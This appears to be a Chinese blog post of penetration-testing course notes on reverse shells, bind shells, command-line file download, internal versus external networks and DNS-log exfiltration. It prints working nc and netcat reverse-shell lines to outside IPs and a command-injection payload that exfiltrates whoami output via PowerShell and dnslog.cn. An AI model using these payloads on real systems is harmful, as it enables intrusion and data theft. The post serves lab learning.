前言
自己本身是一个学习两年网络安全的小白师傅,想想两年来都没有系统的学习过,所以就想着看看小迪的课程,顺便将自己的理解与小迪的课程做一个结合,以文字+图片的形式呈现给大家。看了小迪的课程,真觉得小迪的课程是yyds!-- 我看的是2024年的视频
学习内容
【基础入门】第5天:反弹SHELL&不回显外带&正反向连接&防火墙出入站&文件下载
学习地址:【小迪安全】全栈网络安全 | 渗透测试 | 高级红蓝对抗 V2024最新版 (完)_哔哩哔哩_bilibili
本章节的学习内容有:
1.如何将反弹shell所需要的执行文件上传到目标服务器上
2.出网(外网)与不出网(内网)的区别
3.正反向连接
4.如何测试目标是否出网,dnslog外带。
学习目录
正式开始
知识点一:无图形化文件上传下载
复现准备:两台服务区,一台windows,一台linux,不会搭建服务器请看第一天的课程
首先将准备好的文件nc.exe,上传linux服务器的网站根目录下。(当然你用windows也可以)
那么通过ip地址:47.94.236.117/nc.exe,访问文件会是一个什么效果?答案:默认情况下是下载该文件
那么我们如何通过windows命令进行文件的下载呢?菱角社区在线网站:https://forum.ywhack.com/bountytips.php?download
点击文件下载,就会看到有许多的命令。编号二,从左到右的意思分别是,存在文件的服务器ip地址、服务器开放的端口、需要下载的文件名、下载后保存在对方服务器的文件名(电脑)。然后点击Change即可
可以首先去了解一下这些命令的用处
比如说这条就可以下载
命令都可以试试,有些支持有些不支持。Linux同理,用支持的命令即可。
总结:无图形化上传文件的方式,适合我们平时渗透测试中的绝大多数情况,因为正常的流程中,我们拿到的权限一般只能支持我们使用命令行工具对电脑进行控制,那么当我们发现一个地方存在命令执行的漏洞的时候。如何下载木马文件到对方服务器上则需要使用我们的无图形化上传文件的方式了!
知识点二:什么是反弹shell?
首先我们查看,反弹shell的命令如何去查找。
输入自己服务器的IP以及开放的端口,就会生成各种各样的反弹shell的命令了。注意:这里就不是80端口了,80端口一般指的是自己的网站端口,如果你使用80端口你的网站端口被占用了就无法打开你部署的网站了,推荐使用5566端口,因为小迪用他(当然你可以帮你的网站端口改为其他端口,但小白不建议尝试。)
为什么要进行反弹shell
因为你看,当你输入这个passwd xiaodisec命令的时候,你在设置他的密码。你只能输入命令,但你看不到命令给你的回显,就是蓝色框框中的内容。那么你要是一直不输入,一直按回车,他就会一直卡在这里,提示密码错误。所以我们就需要进行反弹shell,将passwd xiaodisec这个命令的回显显示在你的电脑(服务器上)让你能进行密码的设置。
反弹命令好处二:流量不会被人察觉,如果你在网页上一直提交命令,那么流量就会一直经过网页,流量检测了你可能就被抓了。而反弹shell的流量是不走网页的,让别人无法察觉。
那么在反弹shell中,有正向连接和反向连接。这个解释其实很简单,不要想复杂了。服务器A假设为小明,服务器B假设为小红。当你代入小明的时候,你向小红表白,那么就是正向连接。小红像你表白,那么就是反向连接。(通俗易懂吧),还不懂你就再代入小红,现在你的身份是小红,因为参照物变成小红,所以你像小明表白是正向连接,小明像你表白是反向连接。记住两个点:主动和被动、参照物是谁。(图中你的电脑就是小明)
那么现在来演示一下:假设他们两都是外网服务器,linux去控制windows,以及windows如何去控制linux
首先是正向连接:
1:在windows服务器上执行的命令,2:在Linux服务器上执行的命令
注意:nc工具linux自带,windows需要下载
windows如何控制linux呢?1:在linux上输入,2:在windows上输入
正向连接:
正向连接:就是linux(要控制的服务器),打开自己的一个端口。windows(自己的服务器),去连接这个打开的端口。
然后是反向连接:
理解了吗,反向就是在linux(要控制的服务器),主动的把端口5566给到ip地址:47.122.23.131的windows(自己的服务器)。然后windows在监听自身的5566端口,就正好接住了linux给出来的5566端口。
总结:反弹shell的命令可以即查即用,反弹shell又分为正向连接和反向连接,正向就是你去要别人的权限。反向就是让别人把权限给你。(为什么是让,因为你只有控制了别人的服务器,你才可能让别人把权限给你,不要理解为别人把权限给你,因为女神是不会和你表白的,除非你有她的……)还不懂就,多实验实验。通过命令行下载软件,以及反弹shell,我们就可以实现无图形化的拿取权限,而让别人无法察觉。
知识点三:内网如何反弹shell?
内网,其实我们常用的电脑就是内网环境,是通过我们的电脑访问网络是通过路由器访问,如果没有路由器也就是没有了wifi,还能进行访问吗?答案是不能。
外网,其实就是我们常见的网站,也就是我们的服务器。谁都可以发现他,访问他。(我们电脑是内网,区别就在于你搭建一个靶场,你看看别人能访问你搭建的靶场吗,明显不能,这就是最大的区别,这样理解一下就好了。)
诶有人就会说,这是内网的ip地址啊,我们电脑上不是也可以查询公网的ip地址嘛?
首先明确一个概念,我们电脑上的公网ip地址是谁给的?路由器给的!那么我们去连接这个ip地址,本质上是?连接路由器!所以即使用的公网ip地址,一样也不可能连接到我们的电脑
所以正确的做法应该是反向连接:
成功连接。
命令为:windows--->nc -e cmd 47.94.236.117 5566;linux--->nc -lvp 5566
总结:理解内外网其实很简单,内网就是你,外网就是女神,你认识女神,女神不认识你~。那反向连接就是女神心里有你,你才能和她认识、表白。(大多数的时候,你都是小丑,连接不上的,拿不到权限的~)所以当我们拿到一个内网服务器的权限的时候,最重要的就是反弹shell反向连接。有人可能问,两个都是内网机器怎么办?简单,就需要一个中间人(你和女神之间的僚机),通过中间服务器(外网服务器)将两台服务器连接在一起。
知识点四:dnslog外带数据
要明白什么是外带数据,我们要先学习一下linux与windows的管道符命令
那么已经知道这里可以执行命令,我们如何控制这台服务器呢?
下面是流程和思路,这台服务器(靶场)是windows服务器。
首先我们明确了这个输入框,相当于打开服务器上的cmd,这里的本意是让用户通过ping命令去检查网站在哪可以进行访问。受否能访问到IP。
那么,我们现在想让他反弹shell,前提条件是我们需要有cmd的权限,就已经解决了。
那么现在如何去执行我们的反弹shell命令呢?即然刚刚说了| 符号是表示执行后面的语句,那么我们是不是就可以通过在| 符号输入我们反弹shell的命令即可。
请看下面的演示。
通过whomai命令可以判断出是windows系统。
执行成功
首先在靶场服务器启动防火墙
这里编号写错了,但懒得改了
明白了上面的,那么我们就可以来讨论不回显的情况了。
不回显的情况很简单,我们需要去改一下皮卡丘的源码
然后再来靶场,执行命令
页面没有回显,这里中文是用了浏览器的翻译,不用管他。
这样的一个情况我们怎么办?
1.反弹shell -- 成功反弹shell以后你肯定能看到面板上的,因为用的不是浏览器上的,但你难以判断是什么服务器,只能一个一个试试
2.外带查询-- 常用的,先判断命令是否执行
外带查询--外带平台
我们打开外带平台,点击Get SubDomain 。获取一个域名。
windows实验命令:ping 1qf54p.dnslog.cn
linux实验命令:ping 1qf54p.dnslog.cn
那么具体有什么用呢?
很简单,我们ping一下 ,
ping aaa.1qf54p.dnslog.cn
ping bbb.1qf54p.dnslog.cn
ping ccc.1qf54p.dnslog.cn
格式是: ping 任意字符.dnslog的域名(注意,任意字符和dnslog域名)
看出来了吗,其实就是将命令的结果接入到了域名的前面。
那么我们怎么利用呢?在linux上服务器:ping whoami.1qf54p.dnslog.cn,不就可以外带了呢。
噢,当然不行。应该使用ping `whoami`.1qf54p.dnslog.cn --> 结果就是whoami查询到用户是root,那么返回的结果就是root.1qf54p.dnslog.cn
那么Windows的可以吗?
明显是不行的,因为windows是不支持` `的格式的(前面有说):
那么windows应该怎么办呢?
需要使用到windows中的powershell,接下来跟着一步一步做就好
这里换了一个演示的dnslog平台
PS C:\Users\Administrator> echo 4a
4a
PS C:\Users\Administrator> echo $a //echo是打印的意思,上面echo 4a输出的结果就是4a
PS C:\Users\Administrator> $a = whoami //$a 是声明的意思,和编程中的声明是一个意思,现在这里就是$a就是等于whoami命令
PS C:\Users\Administrator> $b = 'aoi0bb.dnslog.cn'; //这里我写错了,应该是'.aoi0bb.dnslog.cn'; ,前面少了一个. 。你们记得补上
PS C:\Users\Administrator> $c = $a + $b //这里就是把两个变量和在一起组合,记住顺序不能错。
PS C:\Users\Administrator> echo $c
izrmgo79iell31z\administratoraoi0bb.dnslog.cn //izrmgo79iell31z\administrator是whoamai命令的结果
PS C:\Users\Administrator> ping $c
Ping 请求找不到主机 izrmgo79iell31z\administratoraoi0bb.dnslog.cn。请检查该名称,然后重试。 //直接ping就会有 \ 符号的问题,所以我们要替换
PS C:\Users\Administrator> $d = $c.replace('\','0000000000'); //replace是替换函数,这里的意思是将c中的\字符全部替换为0000000000
PS C:\Users\Administrator> echo $d
izrmgo79iell31z0000000000administratoraoi0bb.dnslog.cn
PS C:\Users\Administrator> ping $d
简单概括一下:
就是我们将结果与dnslog的域名给结合起来了,比如结果是A那么域名就是B,现在我们ping A.B是不是可以(这是外带的ping 格式任意字符+点(.)+dnslog域名)。但问题在于A=xxxx\xxxx ,有一个符号\ 我们没办法去ping符号,所以我们要替换掉这个符号,再去ping A.B(不要忘记加点)就是将结果外带了呢?答案是肯定的。
结果,是不是就成功带出了命令执行的结果
那么我们组合一下其实很简单,就是127.0.0.1 | powershell $r = whoami; $t = '.d0q291.dnslog.cn'; $y = $r + $t; $u = $y.replace('\','2222222');ping $u;
总结:
当我们遇到不回显的地方的时候,就可以使用dnslog外带查询,值得一提的是因为windows中我们实验用的是whomai命令是可以正常实验的,但其他的命令缺不一定能成功,这里只是告诉你了有这种用法可以绕过无回显的地方,dnslog外带查询不仅可以在RCE漏洞上,在SQL、XSS等等漏洞也可以。还要注意的是dnslog这个在线平台已经被大多数网站给屏蔽了。如果想在实战中使用这种手法,需要自己搭建一个这样的平台。我们往往需要dnslog来确定命令是否能正常执行,然后再用反弹shell的方式获取权限。
知识点五:环境准备
安全组设置所有出口的可以出,入方向和出方向都是。
Windows设置
Linux设置--这里使用的版本是CentOS-7
systemctl stop firewalld.service
CentOS-7
1.首先切换到 root:su -root
2.进入 /bin 目录:cd /bin
3.执行命令:systemctl stop firewalld.service(关闭防火墙)
systemctl disable firewalld.service(关闭防火墙自动启动)
4.查看防火墙状态:systemctl status firewalld.service(查看防火墙服务状态)
CentOS-7之前的版本
1.关闭防火墙
执行命令:service iptables stop
验证:service iptables status
2.关闭防火墙的自动运行
执行命令:chkconfig iptables off
验证:chkconfig --list | grep iptables
Linux与windows如何安装nc:
windows的安装地址:https://github.com/int0x33/nc.exe/ ,需要关闭防火墙后下载,值得注意的是,该软件不知道其是否安全,不建议在自己电脑上解压,在服务器上解压实验即可。
linux的安装地址为:https://blog.csdn.net/weixin_34239169/article/details/86436431 -- linux中有其他的nc,如果你linux本身带有nc命令也请检查这个命令是否是你需要的。否则可能导致实验不成功
这里的建议是可以多试试其他的命令,确认是nc命令出了问题,还是机器环境配置出了问题。
值得注意的是,小迪课程中提到的ncat,经过我自己的实验发现要替换为netcat才能成功
例如:ncat -e /bin/sh 47.238.113.81 5567 -->替换为: netcat -e /bin/sh 47.238.113.81 5567
大总结
反射Shell与不回显外带,是我们渗透测试中拿权限的主要手段之一,本篇文章只是稍微介绍了linux与windows的操作系统,但我们平常遇到的可能是windows sever服务器系统,以及一些服务器专用的系统,这些系统的命令都是不同的。在真实的场景下,我们不仅要考虑机器的内外网,还需要考虑命令是否会被waf检测等等,所以学习的道路任重而道远,最后祝大家天天开心、快快乐乐~
免责声明
本文所包含的内容仅用于教育和研究目的,旨在提高信息安全意识,帮助用户了解网络安全防护的重要性。
文章中提及的任何渗透测试技巧、工具或方法,仅供合法授权的安全研究和测试使用。在进行任何渗透测试或安全测试之前,请确保您已获得相关系统或网络所有者的明确授权。
本文作者不对任何因使用文章内容而导致的非法活动、损害或其他不良后果承担任何责任。读者在实施任何技术之前应确保遵守所有适用的法律法规。
本文内容不支持或鼓励任何形式的恶意攻击、未授权的入侵或网络犯罪。
本文内容仅限于教育用途,不得以任何方式用于未经授权的网络安全攻击或破坏行为。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)